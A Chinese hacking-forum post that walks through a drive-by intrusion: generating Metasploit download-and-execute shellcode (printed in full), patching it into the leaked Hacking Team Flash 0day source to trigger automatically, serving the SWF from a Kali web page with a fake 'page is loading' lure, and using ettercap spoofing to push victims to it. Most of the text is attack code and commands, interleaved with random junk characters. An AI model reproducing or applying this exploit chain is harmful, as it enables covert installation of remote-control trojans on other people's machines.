中国网络渗透测试联盟

标题: flash 0day之手工代码修改制作下载者实例入侵演示 [打印本页]
作者: admin    时间: 2018-10-20 20:28
标题: flash 0day之手工代码修改制作下载者实例入侵演示

, @9 A2 d: V2 o$ m" O5 l& K 三、flash 0day之手工代码修改制作下载者实例入侵演示 ) ]& E/ p( Q- y. W) S- S+ N

' M0 V4 w% E& P* y6 o

0 N" g4 h$ h, y U1 h 利用到的工具： ' I! M' z# I! h7 e" V# L1 d0 i

~6 v& s- P# q" B1 X# f) C

* q7 j6 D O2 U8 G3 S: x: M: S Msf & C) [5 o+ I! V7 S. o1 W$ m& _+ h

, w* Q+ L9 b+ Z& e

C. W2 Z8 x! N Ettercap ; a0 F! e4 m" W6 _; W

* ` l5 _" I4 P4 |# i9 q/ | W+ k3 g

0 e. M. i8 H- j Adobe Flash CS6 # a) ?/ q$ R: W+ a9 k" r; s$ M

- ^ |: x/ e6 G! }& V& R h

% m/ v8 L0 e5 l/ g4 l Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 6 L7 n* X- A# j6 u4 k/ E

) y5 E h' x" m- B% x9 d3 U& O+ n% P

4 r9 H/ O; j. P2 h/ h) c 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options * ^/ X0 d% A% _, [$ U8 t

! `1 s" \. Z) B, V4 J. }4 Y

( x, d/ f* }' v- a 如图： 8 H2 T ]9 Q) W \/ T

' M6 U1 Y. l' j6 s R* W

7 ^4 Y! |2 ~! ]0 O/ m8 W6 S   2 x- |! Y& Z9 h, U8 ~7 Z$ c

* n5 o5 _7 B8 z' l( x

* p: d$ X: ^% v2 [" E4 W7 B   5 a) q5 s! o& B) ~' h

7 U! `% K, q7 b5 v2 ?3 `

9 B9 X8 c7 d/ i6 K2 K3 } 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: 9 g% Z7 y) o# g5 A% t+ A

" h; l5 ?8 e1 b* Y, H' n! O

4 y! v& l: z) k' D6 I9 ]   6 N! Q" _. Y E) d+ O

$ `8 N0 L% o: @! |, z8 Z9 b

9 m: T- L0 C! Q. n* J) \' Z   % P; s4 W+ E5 [

, h1 D$ A0 M( z; }+ g' M& z9 R

0 \7 z2 X, w: d1 P0 g 然后执行generate -t dword生成shellcode，如下： & E) T* ~! q4 Y- ]1 v

+ b7 w; X5 G1 s

; K }5 p+ ~& i4 Q6 z, A" O0 X   Z8 ^6 w- w4 e8 X% J* H

7 a1 X4 e5 R( U

3 w2 F. c3 \' q& H8 q! @$ j! Q& k 复制代码到文本下便于我们一会编辑flash exp，如下： 0 o4 N9 Z& p+ x, N

8 f2 {+ }3 t! _, k+ W5 ?& ]( l

- ]3 h+ @' C9 l% _) V 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 0 k( H. @6 c% ?- q2 T& f5 g) y

( C, u5 L4 [! f0 ^* h. r

% W7 T5 p! W' G& z; e 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, + ^' ` A: {$ `2 P8 g$ O

, }; K l/ D, A9 X

1 h$ c. {9 z# b H7 z8 e2 s 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 1 N7 b$ {; N& B! ]. ^1 w( F5 x* u

' @8 I% T2 G7 K9 C4 s

/ z1 ^& R$ K1 X5 E. ~0 Z 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, R3 A5 Y9 P9 B1 H8 j, t

5 J5 }' _8 j, T; W

+ K; q' n& ^5 F3 o: P) d% T 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, : R3 O& E& b2 ~4 L

5 f: @2 X( \+ E2 d+ g" V+ Z

& s2 @* n* A) x6 A0 m( C' _ 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, 4 L; ~- J$ w; H8 X1 J

: v5 Z; ^4 Q4 |. Y4 ^, a2 {

- N4 g* o' ~. p! R( v% T 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 1 i; V. a Y' u" g E( X1 m/ }

3 R! R8 j4 s- m' K

G, I/ I4 K, O& r4 z; [" m ?3 o 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, # e, p1 j7 _% T( V& P1 S I- I k

# M8 C2 X) {/ [1 U9 x

* |+ Q$ w+ _9 @7 y0 |8 ~+ f 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 9 v9 v3 q4 |" m3 H

$ v- r* r' \! z3 G/ }7 g. W; I

7 J% s+ b) F9 \0 J7 u/ r+ G7 [' g 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, * Q. y& w* g3 j) P3 H0 k

1 }- N0 S4 r% l0 k+ k5 j4 C

5 Q- B0 J! y' g9 C 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, ( g1 ^% G" @# M$ L: R1 d

; A* c2 V! _3 m% d

1 U& L9 |& M% o- X6 G 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, , D. D' e) P- s9 d. l9 K

3 K; U6 }8 U1 G B7 B$ O" i

5 y( Q/ s, \/ y- `/ p 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 8 B7 N, L: _0 j

1 N# o3 B* _/ T( |$ C

4 k+ v$ I% B }" _) |; H$ f8 f9 { 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 + s6 {7 k/ ?1 ~! I5 P/ ^

- f1 C8 m: H# T

* R/ J0 H. D9 `* u' O- `; s   1 L$ m- S& y# p: ?

8 V+ @* \$ \) X k0 K

" @# _2 y, t2 \$ v   a f- g& |7 Z$ z9 G

( z% C2 j+ @1 W

+ E7 E$ _; Z( N/ Q. s* h/ R 下面我们来修改flash 0day exp，需要修改三个文件，分别为： 0 J& ]. e( i4 K9 c* u \

1 u. [! E( g. l: i

. c5 n! p* Q8 g7 l& M0 W   1 w1 f U4 R# b

% q; Q5 x! H* r$ S2 Z

h2 h w# L: f9 e 先修改ShellWin32.as，部分源代码如图： + Z# n, \. j4 o

9 i1 i4 G/ y* m3 i$ S3 v7 u

4 H b3 Q: H: Q+ l2 G' j4 U   ; ?! B6 ~- Y f1 \6 j

5 ~/ B$ O# {. J

6 d; |( F( ?2 Y! b 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下： ! b- Q2 a8 n. O0 E7 c

% @ D8 R( D# l

) j9 [; s G7 u8 t! i2 |   4 m3 Q3 x8 \8 p7 |/ W

4 T7 `( ?0 ?8 \. d9 V

+ [6 ?' H* F/ N; Y! x% @7 H 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： % g5 I4 b4 H5 _9 A" v

7 o [. B `1 K0 P$ G' l

8 `5 ^$ v o# E6 B1 x$ k. N% M   Y1 S k0 M9 Y8 C6 Q4 q

/ m* k5 Z% M3 T' F- ~' ^: w

+ i! V6 b" [8 @8 G3 Y+ v 换行在后面加一句TryExpl();注意是l不是数字1，然后如图： 9 `! V; c: q w& y& T

8 {+ _( ?6 }& f) t J I+ n' N

, }& U' d5 h$ q( f$ p- C   5 Y8 N& U; y) f+ |8 j% N1 y! @

' `$ v1 {3 D# P

) C5 \# |0 N9 h4 [$ i8 @" L6 d   i. f7 [. Z* o O/ {6 ]3 I, {

- j; N5 k4 m2 B- x" ]8 a1 S

' Z& B5 O M5 u. Z' u1 |$ F   * \9 S" U6 W6 I n) F4 T6 L: C6 H

S, e1 V5 c" I% m$ Q" p

7 W. X9 k1 g8 P2 r0 L( z' g 然后点保存，下面我们来编译一下，打开 4 C j9 S- d* }/ E& N; F# t5 K Z

8 z: h( S' G, ?* o" Q) d. v

8 ^ ]; a2 z" r$ F1 ~ exp1.fla然后点文件-发布，看看编译没错误 9 z9 e ]0 g# [$ P9 @, m

8 ~$ Q( I, _2 b! e( F, x

& T! w3 r0 N- f) V   / w/ J" b8 }2 F1 l7 k- I6 k% _

0 w% L( U9 K- G% k5 T U9 ^

( W& F/ O @# C" Q) H   / O$ ~& l9 n4 C3 K/ V- _" I

W, [1 ~) n6 R9 n

% ?3 w1 V0 k4 G" q/ Z   $ O( A$ u/ d0 b p' H0 A* e

6 x* v" q) V8 |

6 |; Y( O# E1 i: r. z0 b8 m   , \( u/ Q# S5 |5 y

7 x2 m& y8 P; l9 }; h' t( n

9 _9 @4 b. D( ]! A& A1 A5 A 然后我们把生成的 # h: U8 I. L# \7 n3 P

: w2 r0 x7 |# p) p' l' _, C1 H8 h7 G

$ n7 O% d) X& M0 {% f* [: Q exp1.swf丢到kailinux 的/var/www/html下： / e. X9 P9 [0 y) M" Q

* w8 ? P0 \; H' Z

% }3 H; f( x! y" N% T 然后把这段代码好好编辑一下 ! r! U3 B) q* x R @! P

. P8 A: O, b( W& Y

u5 I7 ~# L2 n0 m- h1 o   I4 X5 q5 U# n& w0 J/ i; p

6 x( q& W4 [+ Q) q0 g

2 g3 d u8 I+ h9 F8 L   * m( ]/ `" S1 m- }* ]: v

4 B+ @7 N* C7 h/ T

6 } q1 Y8 A0 ~9 |   * ]: D; O# J! _ l! i

4 m( f. S0 x9 v' H* t

" X0 T+ L8 S* U! ^( C   & J. u8 U- G: l" d1 }- y

) N) K5 Q2 D y) W" D0 A n

% K2 Q" d5 {' C4 H; Z. ^1 S   6 `' i( t" |5 d6 ] h

6 q+ A8 k6 j" J( x

6 r$ ~8 P$ O# z& S+ `   2 p8 V8 `+ V. z; ]) D+ f7 a

$ F, ?) F* Y0 N, r0 q9 j0 j

& E1 {- s5 ~: V; ^ `6 ? <!DOCTYPE html> / p, q9 ^0 X% D/ n

4 i3 V+ K1 @! P: J5 }- H7 }

9 z9 U: U2 H2 ^% I$ B0 m <html> & Z7 a0 m5 U& H3 O6 O

$ S3 o4 n9 S6 ^- g0 D

p( x U1 k2 B U <head> - @9 O! @! l8 r8 g

% O) H' }* D" @9 h9 Z

6 [4 p& t) j% Y <meta http-equiv="Content-Type" content="text/html; * U: j* z2 ]. P: I% g% S' E) s( I. N; `

# J, I; d' d9 J

4 h' i1 X; g1 l8 J5 Y2 ? charset=utf-8"/> - h# u, i0 r4 [

( Z' _. i d: R3 @7 T8 k% ]4 ?; L

) ~2 E0 J, O7 ?/ H0 D, m </head> ; w# q; K+ G) \. q3 @% e

3 ~% ^# b% Z2 x; m E9 V" H

+ i: i. S8 C+ l8 F2 l; ? <body> 8 M7 n2 S1 b5 }4 s

8 `9 ?( g0 C# O4 p- @0 `$ y

. Q8 y4 _" k2 c' G7 \ <h2> Please wait, the requested page is loading...</h2> 0 B$ i- M# x! A2 t6 n

; x* x# i; y) {' A `. g

3 t4 v7 |$ K2 e( j <br> 4 s, G% K. l' ~2 L9 \6 O

! [ h8 L$ A; }

7 g2 z3 r& ?* g8 H1 H7 T* p6 B <OBJECT 7 l: ^/ q. w0 Z# e2 x h

" z$ C) f& m/ z% B$ e

4 B/ i: ]( B1 B& ^! ?/ M$ i8 g classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie 9 x8 r @6 O5 ]

- \: z- M& G2 M: W; x# v2 G

5 o" @, F5 D0 X6 J+ k9 q7 R; s8 K VALUE="http://192.168.0.109/exp1.swf"></OBJECT> / `2 R5 N* ^8 \% f0 F

: U# e0 i- N0 a \3 \

! p. D! V# w# w </body> o: _4 k( ]& O

1 I2 H3 G0 d, A

6 i1 v; l% n4 N# j) z" J6 G/ E <script> 9 ?9 m" Z3 q5 n6 x

" E0 }8 N( ^( j0 L+ z( \# d/ y

' ?4 i0 e9 o Y( b     setTimeout(function () { % i0 [! R: q) ^. r) y1 H/ t6 ^

6 w8 s5 p- _. P0 `8 r7 N( Q

3 Z5 k* f' ]! E) Y, A; L          + [7 d& [5 u9 M5 r% j

+ k% G J; q8 O4 `, h# A6 }

: I$ b0 `5 P: V* v* y: ^4 Z4 X window.location.reload(); 5 c% {( H& _. ?8 ~! y

% u! W2 G% b& A, i5 ]1 O% ?( W) [

8 ]% U0 y3 m; }( A5 g) D6 |' Q0 N* ]+ u     }, 10000); 3 y: `, u' E6 M

% ~) Z9 ?. L" z& B d1 x9 Y) s

" p; M, Y6 {& N( N M   " \9 b/ Q, w7 P9 K4 e' C

! ?( L0 q( S& I( T9 T

; ^5 Y a1 z4 g: k2 C </script> & {# P* Z, [" V

. |+ ?$ i F0 F) H

3 |" j% W7 Y3 a/ @0 k: X, {. n+ I </html> # j" j/ ~) E4 a! N, O

' i) T# {: M. z; Z+ x

" l$ Q3 I& D. e& X. t   ! i9 e7 }: L E% S: H0 } ^5 u

) f4 I% K- Z! M8 G& F$ H

3 S7 z+ k' _+ D. F( G1 k0 [ 注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： , [) ?: X% j, I3 u" m& [ |2 a

" B/ d* X" u/ J7 i3 `

9 }; Z- R+ Z4 {3 Z; M# Z* j d   4 J4 b1 n# j- Q) T5 K1 a+ o% @

7 C* n4 i( U1 _3 M( u3 q) k1 o

1 K9 g1 T3 q9 U+ a   1 U% D0 j7 i0 ]* j2 }8 V

3 e( ~5 _ T( y6 o7 R

4 Z5 k: ]9 N; K: H6 x# D3 l* ?# R   $ o* r1 \6 ?% R6 U

. R) m8 u& X; G$ V l! r. A2 \

2 v% `& p7 C! M   ( e" B6 C H$ B# j4 [8 G+ s( @

0 w5 x, g: i* a1 Y( }# U( P6 l _

% n6 y: D8 S9 A6 G   * `; E, y# M2 ]; |2 q- C k4 E' j* ]

8 \2 J2 P" S! e$ g7 V5 |8 j) Y

5 o j; L. ^) V6 ?7 C 下面我们用ettercap欺骗如图： * ^& R* R1 C2 f9 n

0 S, M8 Q8 C4 ?5 g6 B. F$ G2 _* Y6 X3 x

+ I: x6 g b2 P/ Y% X/ ~   0 L2 N! i- j( [4 w/ M+ i5 p

7 K! l$ g; K+ k: B% z, a: G

! O! f- x9 P7 n   5 S. M4 q/ D+ c* d/ T

7 |8 y; t* E. |- M. F. v

9 u4 r0 T3 \4 E" N o& i) v 下面我们随便访问个网站看看： : b0 b1 U: s6 r1 J

( R/ o& G* L7 r

# q. T( |& ~/ j 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： ; `& {9 t' T5 `; @

$ M7 O5 m0 W7 O

; G) J2 k7 Y3 D* v; L2 c   5 H2 U# ^0 X" u, ~" p2 o" H2 ]9 V

% V6 c- ]6 d" h/ D- f( h( ]

2 u/ K, ]% W: Q0 c1 O 我们看另一台， 8 Y+ s! ]( [9 {6 F# [( ]# b6 c

* W: G2 e; m: s! y5 i& ~

4 y& S9 K, G% i& r 提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。 2 e- q/ a V' |6 `' n- o( [





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2